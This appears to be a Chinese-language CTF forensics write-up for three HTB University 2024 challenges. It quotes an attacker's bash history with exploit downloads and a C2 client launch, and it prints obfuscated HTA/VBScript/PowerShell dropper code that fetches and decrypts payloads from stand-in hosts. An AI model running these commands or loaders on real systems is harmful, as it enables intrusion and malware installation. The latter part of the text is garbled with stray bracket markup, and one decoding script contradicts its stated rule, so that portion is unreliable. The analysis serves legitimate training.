HTB-University CTF 2024 Binary Badlands Forensics 部分 Writeup 教学文档
1. Frontier Exposed
题目描述
Frontier Cluster的Web服务器存在目录遍历漏洞,需通过分析.bash_history文件获取凭证。
解题步骤
-
访问靶机
- 发现目录遍历漏洞,下载
.bash_history文件。
- 发现目录遍历漏洞,下载
-
分析
.bash_history- 文件内容显示攻击者执行了以下操作:
nmap -sC -sV nmap_scan_results.txt jackcolt.dev gobuster dir -u http://jackcolt.dev -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -o dirs.txt nc -zv jackcolt.dev 1-65535 curl -v http://jackcolt.dev nikto -h http://jackcolt.dev sqlmap -u "http://jackcolt.dev/login.php" --batch --dump-all searchsploit apache 2.4.49 wget https://www.exploit-db.com/download/50383 -O exploit.sh chmod u+x exploit.sh echo "http://jackcolt.dev" > target.txt ./exploit target.txt /bin/sh wget https://notthefrontierboard/c2client -O c2client chmod +x c2client ./c2client --server 'https://notthefrontierboard' --port 4444 --user admin --password SFRCe0MyX2NyM2QzbnQxNGxzXzN4cDBzM2R9 - 关键点:
- 使用了Apache 2.4.49的CVE-2021-41773漏洞(路径穿越漏洞)。
- 通过C2客户端连接服务器,密码为
SFRCe0MyX2NyM2QzbnQxNGxzXzN4cDBzM2R9。
- 文件内容显示攻击者执行了以下操作:
-
获取Flag
- 对密码进行Base64解码:
echo "SFRCe0MyX2NyM2QzbnQxNGxzXzN4cDBzM2R9" | base64 -d - 输出:
HTB{C2_cr3d3nt14ls_3xp0s3d}。
- 对密码进行Base64解码:
2. Wanter Alive
题目描述
分析wanted.hta文件,解密多层混淆的VBScript代码,追踪恶意行为。
解题步骤
-
分析
wanted.hta- 文件包含多层URL编码的JavaScript和VBScript代码。
- 解码步骤:
- 对字符串进行5次URL解码。
- 删除
<sCrIPT lANgUAge="VbScRipT">中的空格,得到可执行代码。
-
提取恶意代码
- 发现Base64加密的PowerShell脚本:
iex ($(iEX('[SYsTeM.TeXt.EnCoding]'[chAr]0X3A[CHAr]0X3A'uTf8.geTSTring([SYstem.ConVERT]'[chAR]58[CHAR]'fRoMBASE64string('[CHar]0X22'JGVhNmM4bXJU...'[cHar]0X22'))')) - 解码后为下载
wanted.tIF并保存为wanted.vbs执行的脚本。
- 发现Base64加密的PowerShell脚本:
-
下载
wanted.tIF- 访问路径
/35/wanted.tIF,获取VBS文件。 - 分析VBS代码:
- 发现混淆的Base64字符串,拼接后解密失败。
- 使用
descortinar函数替换d2FudGVkCg为空,得到有效代码。
- 访问路径
-
解密逻辑
- 代码下载多个文件(
csrss.exe、csrss.dll、csrss.exe.config、wanted.pdf)。 - 使用
csrss.dll作为密钥,对其他文件进行异或解密。
- 代码下载多个文件(
-
解密脚本
def decrypt_file(file_path, key_path): with open(key_path, 'rb') as key_file: key = key_file.read() with open(file_path, 'rb') as encrypted_file: encrypted_data = encrypted_file.read() decrypted_data = bytearray(encrypted_data[i] ^ key[i % len(key)] for i in range(len(encrypted_data))) with open(file_path, 'wb') as decrypted_file: decrypted_file.write(decrypted_data) -
获取Flag
- 解密后从
csrss.exe.config发现路径:http://windowsupdate.htb/5f8f9e33bb5e13848af2622b66b2308c.json。 - 下载文件分析,发现AES加密的URL:
- 密文:
ZzfccaKJB3CrDvOnj/6io5OR7jZGL0pr0sLO/ZcRNSa1JLrHA+k2RN1QkelHxKVvhrtiCDD14Aaxc266kJOzF59MfhoI5hJjc5hx7kvGAFw= - IV:
tbbliftalildywic - Key:
SHA256("vudzvuokmioomyialpkyydvgqdmdkdxy")。
- 密文:
- 解密后得到URL:
http://windowsupdate.htb/ec285935b46229d40b95438707a7efb2282f2f02.xml。 - 访问XML文件,在注释中找到Flag:
HTB{...}。
- 解密后从
3. Binary Badresources
题目描述
分析wanted.msc文件,解密混淆的JavaScript代码,提取恶意Payload。
解题步骤
-
分析
wanted.msc- 文件包含混淆的JavaScript代码,使用在线工具解混淆。
- 解码后得到XSLT样式表,内含VBScript代码。
-
解密VBScript
- 代码逻辑:将字符ASCII值减5后转字符。
- 解密脚本:
encoded = "Stxmsr$I|tpmgmxHmq$sfnWlipp0$sfnJWS0$sfnLXXTHmq$wxvYVP50$wxvYVP60$wxvYVP70$wxvWls{jmpiYVPHmq$wxvHs{rpsehTexl50$wxvHs{rpsehTexl60$wxvHs{rpsehTexl70$wxvWls{jmpiTexlHmq$wxvI|igyxefpiTexl0$wxvTs{ivWlippWgvmtxwxvYVP5$A$&lxxt>33{mrhs{wythexi2lxf3gwvww2i|i&wxvYVP6$A$&lxxt>33{mrhs{wythexi2lxf3gwvww2hpp&wxvYVP7$A$&lxxt>33{mrhs{wythexi2lxf3gwvww2i|i2gsrjmk&wxvWls{jmpiYVP$A$&lxxt>33{mrhs{wythexi2lxf3{erxih2thj&wxvHs{rpsehTexl5$A$&G>`Ywivw`Tyfpmg`gwvww2i|i&wxvHs{rpsehTexl6$A$&G>`Ywivw`Tyfpmg`gwvww2hpp&wxvHs{rpsehTexl7$A$&G>`Ywivw`Tyfpmg`gwvww2i|i2gsrjmk&wxvWls{jmpiTexl$A$&G>`Ywivw`Tyfpmg`{erxih2thj&wxvI|igyxefpiTexl$A$&G>`Ywivw`Tyfpmg`gwvww2i|i&Wix$sfnWlipp$A$GviexiSfnigx,&[Wgvmtx2Wlipp&-Wix$sfnJWS$A$GviexiSfnigx,&Wgvmtxmrk2JmpiW}wxiqSfnigx&-Wix$sfnLXXT$A$GviexiSfnigx,&QW\QP62\QPLXXT&-Mj$Rsx$sfnJWS2JmpiI|mwxw,wxvHs{rpsehTexl5-$Xlir
\[ \]
Hs{rpsehJmpi\(wxvYVP50\)wxvHs{rpsehTexl5Irh\(MjMj\)Rsx\(sfnJWS2JmpiI|mwxw,wxvHs{rpsehTexl6-\)Xlir
\[ \]
Hs{rpsehJmpi\(wxvYVP60\)wxvHs{rpsehTexl6Irh\(MjMj\)Rsx\(sfnJWS2JmpiI|mwxw,wxvHs{rpsehTexl7-\)Xlir
\[ \]
Hs{rpsehJmpi\(wxvYVP70\)wxvHs{rpsehTexl7Irh\(MjMj\)Rsx\(sfnJWS2JmpiI|mwxw,wxvWls{jmpiTexl-\)Xlir
\[ \]
Hs{rpsehJmpi\(wxvWls{jmpiYVP0\)wxvWls{jmpiTexlIrh\(MjwxvTs{ivWlippWgvmtx$A\)c&teveq\(,&$*\)zfGvPj\(*\)c&
\[ \]
_wxvmrka(JmpiTexl0&\(*\)zfGvPj\(*\)c&
\[ \]
_wxvmrka(Oi}Texl&\(*\)zfGvPj\(*\)c&-&\(*\)zfGvPj\(*\)c&(oi}\(A\)_W}wxiq2MS2Jmpia>>ViehEppF}xiw,(Oi}Texl-&\(*\)zfGvPj\(*\)c&(jmpiGsrxirx\(A\)_W}wxiq2MS2Jmpia>>ViehEppF}xiw,(JmpiTexl-&\(*\)zfGvPj\(*\)c&(oi}Pirkxl\(A\)(oi}2Pirkxl&\(*\)zfGvPj\(*\)c&jsv\(,(m$A\)4?\((m\)1px\((jmpiGsrxirx2Pirkxl?\)(m//-\(&$*\)zfGvPj\(*\)c&
\[ \]
(jmpiGsrxirx_(ma\(A\)(jmpiGsrxirx_(ma\(1f|sv\)(oi}_(m\()\)(oi}Pirkxla&\(*\)zfGvPj\(*\)c&&\(*\)zfGvPj\(*\)c&_W}wxiq2MS2Jmpia>>[vmxiEppF}xiw,(JmpiTexl0\((jmpiGsrxirx-&$*\)zfGvPjHmq\(sfnJmpiSr\)Ivvsv\(Viwyqi\)Ri|xWix\(sfnJmpi$A\)sfnJWS2GviexiXi|xJmpi,&G>YwivwTyfpmg`xiqt2tw5&0\(Xvyi-Mj\)Ivv2Ryqfiv\(@B$4\)Xlir
\[ \]
[Wgvmtx2Igls\(&Ivvsv\)gviexmrk\(Ts{ivWlipp\)wgvmtx\(jmpi>$&$*\)Ivv2Hiwgvmtxmsr
\[ \]
[Wgvmtx2UymxIrh\(MjsfnJmpi2[vmxiPmri\)wxvTs{ivWlippWgvmtxsfnJmpi2GpswiHmq\(evvJmpiTexlwevvJmpiTexlw$A\)Evve},wxvHs{rpsehTexl50\(wxvHs{rpsehTexl70\)wxvWls{jmpiTexl-Hmq\(mJsv$m$A$4\)Xs$YFsyrh,evvJmpiTexlw-
\[ \]
Hmq$mrxVixyvrGshi
\[ \]
mrxVixyvrGshi\(A\)sfnWlipp2Vyr,&ts{ivwlipp\(1I|igyxmsrTspmg}\)F}teww\(1Jmpi\)G>YwivwTyfpmg`xiqt2tw5\(1JmpiTexl$&$*\)Glv,78-\(*\)evvJmpiTexlw,m-\(*\)Glv,78-\(*$&\)1Oi}Texl\(&$*\)Glv,78-\(*\)wxvHs{rpsehTexl6\(*\)Glv,78-0\(40\)Xvyi-Mj\(mrxVixyvrGshi\)@B\(4\)Xlir\(Wgvmtx2Igls\)&Ts{ivWlipp\(wgvmtx\)i|igyxmsr\(jempih\)jsv\(&$*\)evvJmpiTexlw,m-\(*$&\){mxl\(i|mx\)gshi>\(&$*\)mrxVixyvrGshi
\[ \]
Irh\(MjRi|xsfnWlipp2Vyr\)wxvI|igyxefpiTexl0\(50\)XvyisfnWlipp2Vyr\(wxvWls{jmpiTexl0\)50\(XvyisfnJWS2HipixiJmpi\)&G>YwivwTyfpmggwvww2hpp&sfnJWS2HipixiJmpi$&G>YwivwTyfpmggwvww2i|i&sfnJWS2HipixiJmpi\(&G>`Ywivw`Tyfpmg`gwvww2i|i2gsrjmk&sfnJWS2HipixiJmpi\)&G>YwivwTyfpmg`xiqt2tw5&Wyf\(Hs{rpsehJmpi,yvp0\)texl-
\[ \]
Hmq$sfnWxvieq
\[ \]
Wix\(sfnWxvieq$A\)GviexiSfnigx,&EHSHF2Wxvieq&-
\[ \]
sfnLXXT2Stir\(&KIX&0\)yvp0$Jepwi
\[ \]
sfnLXXT2Wirh
\[ \]
Mj\(sfnLXXT2Wxexyw$A\)644$Xlir
\[\]
\[\]
\[sfnWxvieq2Stir \]
\[\]
\[\]
\[sfnWxvieq2X}ti$A$5 \]
\[\]
\[\]
\[sfnWxvieq2[vmxi$sfnLXXT2ViwtsrwiFsh}sfnWxvieq2WeziXsJmpi$texl0$6 \]
\[\]
\[\]
\[sfnWxvieq2Gpswi \]
\[Irh$Mj \]
\[Wix$sfnWxvieq$A$RsxlmrkIrh$Wyf" decoded = ''.join([chr(ord(c) - 5 + 1) for c in encoded]) print(decoded) ``` - 输出为VBS代码,进一步分析恶意行为。 3. **获取Flag** - 从解密后的代码或下载的文件中提取Flag。 --- ### **总结** - **Frontier Exposed**:通过分析`.bash_history`获取Base64编码的Flag。 - **Wanter Alive**:多层解码VBScript,异或解密文件后获取AES加密的URL。 - **Binary Badresources**:解混淆JavaScript,解密VBScript后提取Payload。 **核心技巧**: - 关注日志文件(如`.bash_history`)。 - 多层编码/加密需逐步解码(URL→Base64→AES/XOR)。 - 动态分析(如沙箱)辅助确认恶意行为。\]